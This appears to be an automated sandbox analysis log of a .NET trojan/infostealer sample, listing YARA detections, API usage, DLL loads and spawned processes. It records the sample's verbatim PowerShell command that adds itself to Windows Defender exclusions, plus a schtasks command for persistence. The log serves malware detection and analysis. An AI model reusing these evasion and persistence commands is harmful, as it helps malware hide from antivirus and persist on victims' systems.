Source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: eFzAvsOm.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, yxFFd7F.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, yxFFd7F.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, yxFFd7F.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, yxFFd7F.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, P7gP.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, P7gP.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, Xehk6f9P.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, Xehk6f9P.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, Ck9KUH03mPl1BXVZKg.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: _0020.SetAccessControl
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.8440000.5.raw.unpack, e4NXZjNjHV5vmgvMPk.cs Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, Ck9KUH03mPl1BXVZKg.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@19/15@1/1
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Mutant created: \Sessions\1\BaseNamedObjects\HcmqxTYNyFuTiopJcH
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8060:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File created: C:\Users\user\AppData\Local\Temp\tmp9A0C.tmp Jump to behavior
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe ReversingLabs: Detection: 15%
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Virustotal: Detection: 30%
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe String found in binary or memory: $72794fd6-9579-4364-adda-1580f4b1038b
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File read: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eFzAvsOm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmp9A0C.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown Process created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe C:\Users\user\AppData\Roaming\eFzAvsOm.exe
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmpADE2.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe "C:\Users\user\AppData\Roaming\eFzAvsOm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eFzAvsOm.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmp9A0C.tmp" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmpADE2.tmp"
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe "C:\Users\user\AppData\Roaming\eFzAvsOm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Section loaded: rsaenh.dll Jump to behavior
